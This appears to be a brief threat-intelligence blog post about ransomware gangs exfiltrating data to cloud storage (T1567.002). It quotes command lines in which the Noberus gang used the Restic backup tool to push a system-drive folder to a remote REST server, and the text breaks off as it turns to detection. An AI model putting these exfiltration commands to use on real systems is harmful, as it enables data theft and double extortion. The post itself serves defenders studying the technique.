224. Another Tool for Data Exfiltration: Restic
Hello everyone! Ransomware gangs often collect and exfiltrate sensitive data from compromised systems to use it for double extortion. So let's talk about the following technique - Exfiltration Over Web Service: Exfiltration to Cloud Storage (T1567.002) . Threat actors can use various web services, for example, gofile[.]io or legitimate backup tools - I think everyone seen at least an attack description with rclone in it. To evade detection, adversaries need to change their tool from time to time, and in some cases they approach it in an original way. For example, Noberus ransomware gang leveraged Restic - another legitimate backup tool: CSIDL_COMMON_VIDEO\restic.exe -r rest:http://[REMOVED]:8000/ init [REMOVED] CSIDL_COMMON_VIDEO\ppp.txt CSIDL_COMMON_VIDEO\restic.exe -r rest:http://[REMOVED]:8000/ [REMOVED] CSIDL_COMMON_VIDEO\ppp.txt --use-fs-snapshot --verbose backup "CSIDL_SYSTEM_DRIVE\[REMOVED]" The tool doesn't have lots of metadata, but you still can use uniq...